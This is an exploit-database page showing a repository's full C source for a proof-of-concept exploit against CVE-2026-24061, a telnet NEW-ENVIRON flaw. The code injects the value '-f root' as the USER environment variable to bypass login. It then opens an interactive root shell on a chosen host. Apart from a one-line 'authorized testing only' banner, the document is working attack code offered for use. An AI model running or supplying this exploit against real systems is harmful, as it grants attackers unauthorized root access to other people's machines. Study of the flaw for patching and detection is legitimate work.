Exploit databaseDownload repository ZIP
GH-9b2b82dad9f5cbeee9fe33a1e59efc3c
infat0x/cve-2026-24061
Sources for CVE-2026-24061
37 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
infat0x/cve-2026-24061Revision 0d6b39a93f93
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.c
C · 8,576 bytes#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <conio.h>
#pragma comment(lib, "ws2_32.lib")
typedef SOCKET socket_t;
typedef HANDLE thread_t;
typedef CRITICAL_SECTION mutex_t;
#define INVALID_SOCK INVALID_SOCKET
#define close_socket closesocket
#define sleep_ms(x) Sleep(x)
#else
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <pthread.h>
#include <termios.h>
#include <signal.h>
typedef int socket_t;
typedef pthread_t thread_t;
typedef pthread_mutex_t mutex_t;
#define INVALID_SOCK -1
#define close_socket close
#define sleep_ms(x) usleep((x) * 1000)
static struct termios orig_termios;
static int term_modified = 0;
volatile sig_atomic_t got_sigint = 0;
#endif
#define IAC 255
#define DONT 254
#define DO 253
#define WONT 252
#define WILL 251
#define SB 250
#define SE 240
#define NEW_ENVIRON 39
#define IS 0
#define VAR 0
#define VALUE 1
#define BUFFER_SIZE 4096
typedef struct {
socket_t sock;
char *payload;
volatile int running;
volatile int waiting_for_newline;
mutex_t lock;
} Context;
void mutex_init(mutex_t *m) {
#ifdef _WIN32
InitializeCriticalSection(m);
#else
pthread_mutex_init(m, NULL);
#endif
}
void mutex_lock(mutex_t *m) {
#ifdef _WIN32
EnterCriticalSection(m);
#else
pthread_mutex_lock(m);
#endif
}
void mutex_unlock(mutex_t *m) {
#ifdef _WIN32
LeaveCriticalSection(m);
#else
pthread_mutex_unlock(m);
#endif
}
void mutex_destroy(mutex_t *m) {
#ifdef _WIN32
DeleteCriticalSection(m);
#else
pthread_mutex_destroy(m);
#endif
}
#ifndef _WIN32
void restore_term(void) {
if (term_modified) {
tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios);
term_modified = 0;
}
}
void set_raw_mode(void) {
struct termios raw;
tcgetattr(STDIN_FILENO, &orig_termios);
term_modified = 1;
atexit(restore_term);
raw = orig_termios;
raw.c_lflag &= ~(ECHO | ICANON);
raw.c_cc[VMIN] = 0;
raw.c_cc[VTIME] = 1;
tcsetattr(STDIN_FILENO, TCSANOW, &raw);
}
void sighandler(int sig) { (void)sig; got_sigint = 1; }
#endif
void print_banner(void) {
printf("\n");
printf(" +-----------------------------------------------------------+\n");
printf(" | CVE-2026-24061 Telnet Exploit PoC |\n");
printf(" | NEW-ENVIRON Vulnerability |\n");
printf(" +-----------------------------------------------------------+\n");
printf(" | [!] For authorized security testing only |\n");
printf(" +-----------------------------------------------------------+\n\n");
}
void handle_negotiation(socket_t sock, unsigned char cmd, unsigned char opt) {
unsigned char resp[3] = {IAC, 0, 0};
if (cmd == DO && opt == NEW_ENVIRON) {
resp[1] = WILL; resp[2] = NEW_ENVIRON;
} else if (cmd == DO) {
resp[1] = WONT; resp[2] = opt;
} else if (cmd == WILL) {
resp[1] = DO; resp[2] = opt;
} else return;
send(sock, (char*)resp, 3, 0);
}
void handle_subneg(socket_t sock, unsigned char *data, int len, const char *payload) {
if (len > 0 && data[0] == NEW_ENVIRON) {
int plen = (int)strlen(payload);
unsigned char *msg = malloc(12 + plen);
int i = 0;
msg[i++] = IAC; msg[i++] = SB; msg[i++] = NEW_ENVIRON;
msg[i++] = IS; msg[i++] = VAR;
memcpy(msg + i, "USER", 4); i += 4;
msg[i++] = VALUE;
memcpy(msg + i, payload, plen); i += plen;
msg[i++] = IAC; msg[i++] = SE;
send(sock, (char*)msg, i, 0);
free(msg);
}
}
int process_stream(Context *ctx, unsigned char *data, int len, unsigned char *out) {
int oi = 0, i = 0;
while (i < len) {
if (data[i] == IAC && i + 1 < len) {
unsigned char cmd = data[i + 1];
if ((cmd == DO || cmd == DONT || cmd == WILL || cmd == WONT) && i + 2 < len) {
handle_negotiation(ctx->sock, cmd, data[i + 2]);
i += 3;
} else if (cmd == SB) {
int se = i + 2;
while (se < len - 1 && !(data[se] == IAC && data[se + 1] == SE)) se++;
if (se < len - 1) {
handle_subneg(ctx->sock, data + i + 2, se - i - 2, ctx->payload);
i = se + 2;
} else i++;
} else i += 2;
} else out[oi++] = data[i++];
}
unsigned char *flt = malloc(oi + 1);
int fi = 0;
for (i = 0; i < oi; i++) {
if (out[i] == 0x1b && i + 1 < oi && out[i + 1] == '[') {
i += 2;
while (i < oi && !(out[i] >= 0x40 && out[i] <= 0x7E)) i++;
} else flt[fi++] = out[i];
}
mutex_lock(&ctx->lock);
if (ctx->waiting_for_newline) {
int nl = -1;
for (i = 0; i < fi; i++) if (flt[i] == 10 || flt[i] == 13) { nl = i; break; }
if (nl != -1) {
fi = fi - nl - 1;
memmove(out, flt + nl + 1, fi);
ctx->waiting_for_newline = 0;
} else fi = 0;
} else memcpy(out, flt, fi);
mutex_unlock(&ctx->lock);
free(flt);
return fi;
}
#ifdef _WIN32
DWORD WINAPI reader(LPVOID p) {
#else
void *reader(void *p) {
#endif
Context *ctx = (Context*)p;
unsigned char buf[BUFFER_SIZE], out[BUFFER_SIZE];
while (ctx->running) {
int n = recv(ctx->sock, (char*)buf, BUFFER_SIZE - 1, 0);
if (n <= 0) break;
int ol = process_stream(ctx, buf, n, out);
if (ol > 0) { out[ol] = 0; printf("%s", out); fflush(stdout); }
}
printf("\n[*] Connection closed.\n");
ctx->running = 0;
return 0;
}
int main(int argc, char **argv) {
print_banner();
if (argc < 2) {
printf("Usage: %s <host> [port]\n\n", argv[0]);
printf(" host Target IP or hostname\n");
printf(" port Target port (default: 23)\n\n");
return 1;
}
char *host = argv[1];
int port = argc >= 3 ? atoi(argv[2]) : 23;
if (port <= 0 || port > 65535) { printf("[!] Invalid port\n"); return 1; }
printf("[*] Target: %s:%d\n", host, port);
printf("[*] Payload: USER=-f root\n\n");
#ifdef _WIN32
WSADATA wsa;
if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) { printf("[!] WSAStartup failed\n"); return 1; }
#endif
socket_t sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCK) { printf("[!] Socket failed\n"); return 1; }
struct sockaddr_in srv = {0};
srv.sin_family = AF_INET;
srv.sin_port = htons(port);
struct hostent *he = gethostbyname(host);
if (!he) { printf("[!] Cannot resolve: %s\n", host); close_socket(sock); return 1; }
memcpy(&srv.sin_addr, he->h_addr_list[0], he->h_length);
printf("[*] Connecting...\n");
if (connect(sock, (struct sockaddr*)&srv, sizeof(srv)) < 0) {
printf("[!] Connection failed\n"); close_socket(sock); return 1;
}
printf("[+] Connected!\n");
printf("[*] Interactive session. Press Ctrl+C to quit.\n\n");
Context ctx = {sock, "-f root", 1, 0};
mutex_init(&ctx.lock);
thread_t th;
#ifdef _WIN32
th = CreateThread(NULL, 0, reader, &ctx, 0, NULL);
#else
signal(SIGINT, sighandler);
pthread_create(&th, NULL, reader, &ctx);
set_raw_mode();
#endif
#ifdef _WIN32
while (ctx.running) {
if (_kbhit()) {
int ch = _getch();
if (ch == 3) break;
if (ch == '\r' || ch == '\n') {
mutex_lock(&ctx.lock); ctx.waiting_for_newline = 1; mutex_unlock(&ctx.lock);
char c = '\r'; send(sock, &c, 1, 0); c = '\n'; send(sock, &c, 1, 0);
} else { char c = (char)ch; send(sock, &c, 1, 0); }
}
sleep_ms(10);
}
#else
while (ctx.running && !got_sigint) {
char ch;
if (read(STDIN_FILENO, &ch, 1) > 0) {
if (ch == '\n' || ch == '\r') {
mutex_lock(&ctx.lock); ctx.waiting_for_newline = 1; mutex_unlock(&ctx.lock);
ch = '\r'; send(sock, &ch, 1, 0); ch = '\n'; send(sock, &ch, 1, 0);
} else send(sock, &ch, 1, 0);
}
}
#endif
printf("\n[*] Session ended.\n");
ctx.running = 0;
close_socket(sock);
#ifdef _WIN32
WaitForSingleObject(th, 1000);
CloseHandle(th);
WSACleanup();
#else
pthread_join(th, NULL);
#endif
mutex_destroy(&ctx.lock);
return 0;
}